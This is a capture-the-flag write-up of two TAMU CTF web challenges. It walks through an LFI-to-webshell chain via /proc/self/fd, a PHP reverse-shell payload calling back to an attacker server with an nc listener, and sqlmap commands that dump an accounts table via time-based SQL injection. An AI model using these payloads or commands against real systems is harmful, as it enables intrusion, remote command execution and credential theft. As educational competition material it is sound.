I did two web challenges for TAMU CTF and they were mostly applications of standard attacks. The sql inejection was interesting because it was not immediately obvious that it was injectable.

FILESTORAGE #

Try out my new file sharing site!

http://filestorage.tamuctf.com

When we first go to the site, we are given a box to input our name. As with any website, we just play around with the website and enter a random name. After we enter a name, we are greeted with a page that says there are three items. By clicking on the hello.txt, we see the url becomes http://filestorage.tamuctf.com/index.php?file=hello.txt This inclusion clearly looks like a local file inclusion vulnerability.

We see that we can include /etc/passwd by going to the url http://filestorage.tamuctf.com/index.php?file=../../../../../../etc/passwd which outputs the content successfully. Now that we have LFI, where is the flag? After trying common files such as /flag.txt and flag.txt, I did not find find the flag. My next step was the get a php shell.

The first thing I checked is if I could access the /proc directory which contains information about running processes. By visiting http://filestorage.tamuctf.com/index.php?file=../../../../../../proc/self/cmdline we confirm that we have access to the /proc folder. The next step was to enumerate through the /proc/self/fd/# directory to see if we could include some php code. I wrote this quick script to enumerate through the directory making sure to include the cookie PHPSESSID otherwise the file would not load.

import requests  
  
cookies = {'PHPSESSID': 'copjc75a4klhenr59g98enqm74'}  
  
for i in range(0, 10000):  
  
r = requests.get('http://filestorage.tamuctf.com/index.php?file=../../../../../../proc/self/fd/' + str(i), cookies=cookies)  
  
print('req ' + str(i))  
print(r.text)

Looking at the output, it seemed like http://filestorage.tamuctf.com/index.php?file=../../../../../../proc/self/fd/9 the output of the page was name|s:6:"redpwn"; It seems like our serialized session can be accessed from /proc/self/fd/9. Now we have a vector to include a php shell.

By setting our name to <?php passthru($_REQUEST['c']); ?> we can include a php webshell. Now if we visit http://filestorage.tamuctf.com/index.php?file=../../../../../../proc/self/fd/9&c=ls we are able to run arbitrary commands on the server. A quick ls -la / shows a directory named flag_is_here which contains flag.txt. We get the flag by catting this file. The complete final payload was http://filestorage.tamuctf.com/index.php?file=../../../../../../proc/self/fd/9&c=cat%20/flag_is_here/flag.txt.

This method was using a php webshell, but is it possible to get a full reverse shell? A similar approach to the php shell can we taken, we just need to run some php which will launch a reverse shell to our server. The payload which I used was <?php $sock = fsockopen("ip",port);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?> where the ip and port is a serrver we control. Before we execute this php, we need to listen on our server. The command to setup a listening server is nc -nvlp port

After we have our server listening, we can run the php code by visiting http://filestorage.tamuctf.com/index.php?file=../../../../../../proc/self/fd/9. On our server, we recieve a new connection from the webserver and we now have a full reverse shell. Now we can run the same commands ls / and cat /flag_is_here/flag.txt

PASSWORD_EXTRATOR #

The owner of this website often reuses passwords. Can you find out the password they are using on this test server?

http://passwordextraction.tamuctf.com

When we first visit the site, we see that there is a form with a login and password. The first thought is that there is a sql injection. The title hints towards extracting the password, however I just wanted to test an auth bypass with the standard ' OR 1=1-- . Normally, this would allow me to authenticate as a user and indicates that SQL injection is an attack vector. However, for this website all I recieved was Invalid login info.

Looking at the requests being made, the form submitted to http://passwordextraction.tamuctf.com/login.php with parameters username and password. I wasn’t sure what to do so I launched sqlmap. SQLMap can be found from this git repository https://github.com/sqlmapproject/sqlmap.

The first command was to see if the website was vulnerable. It is a post request and the * represents parameters to test for injection.

./sqlmap.py -u http://passwordextraction.tamuctf.com/login.php --method POST --data="username=*&password=*" --risk=3

SQLMap found a vulnerability in a time based injection. The payload used was

' AND (SELECT 9235 FROM (SELECT(SLEEP(5)))yzuo) AND 'E

From here, we can just extract data from the database and find the flag. First we list all databases.

./sqlmap.py -u http://passwordextraction.tamuctf.com/login.php --method POST --data="username=*&password=*" --risk=3 -dbs

We see there is a non-default database named db, so we want extract the tables.

./sqlmap.py -u http://passwordextraction.tamuctf.com/login.php --method POST --data="username=*&password=*" --risk=3 -D db -tables

We see there is a table named accounts and want to dump all the information in it.

./sqlmap.py -u http://passwordextraction.tamuctf.com/login.php --method POST --data="username=*&password=*" --risk=3 -D db -T accounts --dump

The extract data yields the admin user and its password, which is the flag.

Interestingly, I was curious as to why my authentication payload did not work so I went back to the main website and testsed with the credentials I extracted. I was surprised to see the same Invalid login info. It seems like if the autentication was successful, the page displayed was the same which is why I didn’t realize the site was even vulnerable after testing with the authentication bypass payload. However, when I used the command from SQLMap, the page loaded after a couple of seconds, indicating that the time based injection had worked. This is interesting to note for the future because even though there was initially no clear indication that sql injection was an attack vector, however it was still vulnerable with a different attack type.